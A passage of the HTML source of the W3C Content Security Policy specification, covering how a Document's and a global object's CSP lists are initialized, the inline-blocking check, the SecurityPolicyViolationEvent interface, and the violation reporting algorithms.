href=\"https://github.com/WHATWG/html/issues/384\">&lt;https://github.com/WHATWG/html/issues/384></a></p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"#policy\">Policies</a> are <a data-link-type=\"dfn\" href=\"#enforced\">enforced</a> during processing of the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element’s <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a></code>.</p>\n      <p class=\"issue\" id=\"issue-389933ec\"><a class=\"self-link\" href=\"#issue-389933ec\"></a> This processing was added to WHATWG’s HTML in <a href=\"https://github.com/whatwg/html/commit/5064a629f22bef29839ab4dc6f1ceef17f010bc5\">whatwg/html@5064a62</a>.\n  It has not yet been added to W3C’s HTML.</p>\n     <li data-md=\"\">\n      <p>A <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code>'s <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"embedding-document\">embedding document<a class=\"self-link\" href=\"#embedding-document\"></a></dfn> is the <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code> <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#browsing-context-nested-through\">through which</a> the <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code>'s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#browsing-context\">browsing context</a> is nested.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Initialize a Document&apos;s CSP list\" data-level=\"4.2.1\" id=\"initialize-document-csp\"><span class=\"secno\">4.2.1. </span><span class=\"content\"> Initialize a <code>Document</code>'s <code>CSP list</code> </span><a class=\"self-link\" href=\"#initialize-document-csp\"></a></h4>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code> (<var>document</var>), and a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), the\n  user agent performs the following steps in order to initialize <var>document</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#concept-document-csp-list\">CSP list</a>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is a <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#local-scheme\">local scheme</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>documents</var> be an empty list.</p>\n       <li data-md=\"\">\n        <p>If <var>document</var> has an <a data-link-type=\"dfn\" href=\"#embedding-document\">embedding document</a> (<var>embedding</var>), then add <var>embedding</var> to <var>documents</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>document</var> has an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#opener-browsing-context\">opener browsing context</a>, then add its <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a> to <var>documents</var>.</p>\n       <li data-md=\"\">\n        <p>For each <var>doc</var> in <var>documents</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>For each <var>policy</var> in <var>doc</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#concept-document-csp-list\">CSP list</a>:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Insert an alias to <var>policy</var> in <var>document</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#concept-document-csp-list\">CSP list</a>.</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\">Note: <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#local-scheme\">local scheme</a> includes <code>about:</code>, and this algorithm will\n  therefore alias the <a data-link-type=\"dfn\" href=\"#embedding-document\">embedding document</a>’s policies for <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an iframe <code>srcdoc</code> <code>Document</code></a>.</p>\n      <p class=\"note\" role=\"note\">Note: We do all this to ensure that a page cannot bypass its <a data-link-type=\"dfn\" href=\"#policy\">policy</a> by embedding a frame or popping up a new window containing content it\n  controls (<code>blob:</code> resources, or <code>document.write()</code>).</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a>, insert <var>policy</var> into <var>document</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#concept-document-csp-list\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>document</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#concept-document-csp-list\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Execute <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-initialization\">initialization</a> algorithm on <var>document</var> and <var>response</var>.</p>\n        </ol>\n      </ol>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Initialize a global object’s CSP list\" data-level=\"4.2.2\" id=\"initialize-global-object-csp\"><span class=\"secno\">4.2.2. </span><span class=\"content\"> Initialize a global object’s <code>CSP list</code> </span><a class=\"self-link\" href=\"#initialize-global-object-csp\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a> (<var>global</var>), and a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), the user agent performs the following steps in order\n  to initialize <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is a <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#local-scheme\">local scheme</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>documents</var> be an empty list.</p>\n       <li data-md=\"\">\n        <p>Add each of <var>global</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#the-workers-documents\">document</a>s to <var>documents</var>.</p>\n       <li data-md=\"\">\n        <p>For each <var>document</var> in <var>documents</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>For each <var>policy</var> in <var>document</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global\n  object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Insert an alias to <var>policy</var> in <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>.</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\">Note: <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#local-scheme\">local scheme</a> includes <code>about:</code>, and this algorithm will\n  therefore alias the <a data-link-type=\"dfn\" href=\"#embedding-document\">embedding document</a>’s policies for <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an iframe <code>srcdoc</code> <code>Document</code></a>.</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a>, insert <var>policy</var> into <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Should element’s inline type behavior be blocked by Content Security Policy?\" data-level=\"4.2.3\" id=\"should-block-inline\"><span class=\"secno\">4.2.3. </span><span class=\"content\"> Should <var>element</var>’s inline <var>type</var> behavior be blocked by Content Security Policy? </span><a class=\"self-link\" href=\"#should-block-inline\"></a></h4>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-element\">Element</a></code> (<var>element</var>), and a string (<var>type</var>) this algorithm returns\n  \"<code>Allowed</code>\" if the element is allowed to have inline definition of a\n  particular type of behavior (script execution, style application, event handlers,\n  etc.), and \"<code>Blocked</code>\" otherwise:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>element</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code>'s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-inline-check\">inline check</a> returns\n  \"<code>Allowed</code>\" when executed upon <var>element</var> and <var>type</var>, skip to the\n  next <var>directive</var>.</p>\n         <li data-md=\"\">\n          <p>Otherwise, let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.3.1 Create a violation object for global, policy, and directive</a> on the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#incumbent-settings-object\">incumbent settings\n  object</a>, <var>policy</var>, and \"<code>style-src</code>\" if <var>type</var> is \"<code>style</code>\" or\n  \"<code>style-attribute</code>\", or \"<code>script-src</code>\" otherwise.</p>\n         <li data-md=\"\">\n          <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\">resource</a> to \"<code>inline</code>\".</p>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on <var>violation</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> is \"<code>enforce</code>\", then\n  set <var>result</var> to \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"5\" id=\"reporting\"><span class=\"secno\">5. </span><span class=\"content\"> Reporting </span><a class=\"self-link\" href=\"#reporting\"></a></h2>\n    <p>When one or more of a <a data-link-type=\"dfn\" href=\"#policy\">policy</a>’s directives is violated, a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-report\">violation\n  report<a class=\"self-link\" href=\"#violation-report\"></a></dfn> may be generated and sent out to a reporting endpoint associated\n  with the <a data-link-type=\"dfn\" href=\"#policy\">policy</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"5.1\" id=\"violation-events\"><span class=\"secno\">5.1. </span><span class=\"content\"> Violation DOM Events </span><a class=\"self-link\" href=\"#violation-events\"></a></h3>\n<pre class=\"idl\">[<dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"constructor\" data-export=\"\" data-lt=\"SecurityPolicyViolationEvent(type, eventInitDict)\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\"></a></dfn>(DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\"></a></dfn>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\"></a></dfn>)]\ninterface <a class=\"idl-code\" data-link-type=\"interface\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a> : <a data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#event\">Event</a> {\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-documenturi\"></a></dfn>;\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-referrer\"></a></dfn>;\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-blockeduri\"></a></dfn>;\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-violateddirective\"></a></dfn>;\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-effectivedirective\"></a></dfn>;\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-originalpolicy\"></a></dfn>;\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-sourcefile\"></a></dfn>;\n    readonly    attribute DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationevent-statuscode\">statusCode<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-statuscode\"></a></dfn>;\n    readonly    attribute long      <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"long      \" id=\"dom-securitypolicyviolationevent-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-linenumber\"></a></dfn>;\n    readonly    attribute long      <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" data-readonly=\"\" data-type=\"long      \" id=\"dom-securitypolicyviolationevent-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-columnnumber\"></a></dfn>;\n};\n\ndictionary <dfn class=\"idl-code\" data-dfn-type=\"dictionary\" data-export=\"\" id=\"dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit<a class=\"self-link\" href=\"#dictdef-securitypolicyviolationeventinit\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#dictdef-eventinit\">EventInit</a> {\n    DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationeventinit-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-documenturi\"></a></dfn>;\n    DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationeventinit-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-referrer\"></a></dfn>;\n    DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationeventinit-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-blockeduri\"></a></dfn>;\n    DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-violateddirective\"></a></dfn>;\n    DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\"></a></dfn>;\n    DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\"></a></dfn>;\n    DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"DOMString \" id=\"dom-securitypolicyviolationeventinit-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-sourcefile\"></a></dfn>;\n    long      <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"long      \" id=\"dom-securitypolicyviolationeventinit-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-linenumber\"></a></dfn>;\n    long      <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" data-type=\"long      \" id=\"dom-securitypolicyviolationeventinit-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-columnnumber\"></a></dfn>;\n};\n</pre>\n    <h3 class=\"heading settled\" data-level=\"5.2\" id=\"deprecated-serialize-violation\"><span class=\"secno\">5.2. </span><span class=\"content\"> Obtain the deprecated serialization of <var>violation</var> </span><a class=\"self-link\" href=\"#deprecated-serialize-violation\"></a></h3>\n    <p>Given a <a data-link-type=\"dfn\" href=\"#violation\">violation</a> (<var>violation</var>), this algorithm returns a JSON text\n  string representation of the violation, suitable for submission to a reporting\n  endpoint associated with the deprecated <a data-link-type=\"dfn\" href=\"#report-uri\"><code>report-uri</code></a> directive.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>object</var> be a new JavaScript object with properties initialized as\n  follows:</p>\n      <dl>\n       <dt data-md=\"\">\n        <p>\"<code>document-uri</code>\"</p>\n       <dd data-md=\"\">\n        <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-url\">url</a>, with the <code>exclude fragment</code> flag set.</p>\n       <dt data-md=\"\">\n        <p>\"<code>referrer</code>\"</p>\n       <dd data-md=\"\">\n        <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-referrer\">referrer</a>, with the <code>exclude fragment</code> flag set.</p>\n       <dt data-md=\"\">\n        <p>\"<code>blocked-uri</code>\"</p>\n       <dd data-md=\"\">\n        <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\">resource</a>, with the <code>exclude fragment</code> flag set.</p>\n       <dt data-md=\"\">\n        <p>\"<code>effective-directive</code>\"</p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\">effective directive</a></p>\n       <dt data-md=\"\">\n        <p>\"<code>violated-directive</code>\"</p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\">effective directive</a></p>\n       <dt data-md=\"\">\n        <p>\"<code>original-policy</code>\"</p>\n       <dd data-md=\"\">\n        <p>The <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialization</a> of <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\">policy</a></p>\n       <dt data-md=\"\">\n        <p>\"<code>status-code</code>\"</p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-status\">status</a></p>\n      </dl>\n     <li data-md=\"\">\n      <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\">source file</a> is not <code>null</code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Set <var>object</var>’s \"<code>source-file</code>\" property to the result of executing\n  the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\">source\n  file</a>, with the <code>exclude fragment</code> flag set.</p>\n       <li data-md=\"\">\n        <p>Set <var>object</var>’s \"<code>line-number</code>\" property to <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-line-number\">line number</a>.</p>\n       <li data-md=\"\">\n        <p>Set <var>object</var>’s \"<code>column-number</code>\" property to <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-column-number\">column number</a>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return the result of executing <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.ecma-international.org/ecma-262/6.0/index.html#sec-json.stringify\">JSON.stringify()</a></code> on <var>object</var>.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"5.3\" id=\"report-violation\"><span class=\"secno\">5.3. </span><span class=\"content\"> Report a <var>violation</var> </span><a class=\"self-link\" href=\"#report-violation\"></a></h3>\n    <p>Given a <a data-link-type=\"dfn\" href=\"#violation\">violation</a> (<var>violation</var>), this algorithm reports it to the\n  endpoint specified in <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\">policy</a>, and\n  fires a <dfn class=\"idl-code\" data-dfn-type=\"interface\" data-export=\"\" id=\"securitypolicyviolationevent\">SecurityPolicyViolationEvent<a class=\"self-link\" href=\"#securitypolicyviolationevent\"></a></dfn> at <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\">global object</a>.</p>\n    <ol>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-event-fire\">Fire</a> a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-event-trusted\">trusted</a> event with the name <code>securitypolicyviolation</code> that uses the <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> interface, with its\n  attributes initialized as follows:</p>\n      <dl>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-url\">url</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-referrer\">referrer</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\">resource</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\">effective directive</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\">effective directive</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\">policy</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\">source file</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-status\">status</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-line-number\">line number</a></p>\n       <dt data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a></code></p>\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-column-number\">column number</a></p>\n      </dl>\n      <p class=\"note\" role=\"note\">Note: Both <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a></code> and <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a></code> are the same value.\n  This is intentional to maintain backwards compatibility.</p>\n     <li data-md=\"\">\n      <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\">policy</a>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive\n  set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\">directive</a> named \"<a data-link-type=\"dfn\" href=\"#report-uri\"><code>report-uri</code></a>\"\n  (<var>directive</var>):</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\">policy</a>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\">directive</a> named\n  \"<a data-link-type=\"dfn\" href=\"#report-to\"><code>report-to</code></a>\", skip the remaining substeps.</p>\n       <li data-md=\"\">\n        <p>Let <var>endpoint</var> be the result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-parser\">URL parser</a> on <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a>.</p>\n       <li data-md=\"\">\n        <p>If <var>endpoint</var> is not a valid URL, skip the remaining substeps.</p>\n       <li data-md=\"\">\n        <p>Let <var>request</var> be a new <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a>, initialized as follows:</p>\n        <dl>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-method\">method</a></p>\n         <dd data-md=\"\">\n          <p>\"<code>POST</code>\"</p>\n         <dt 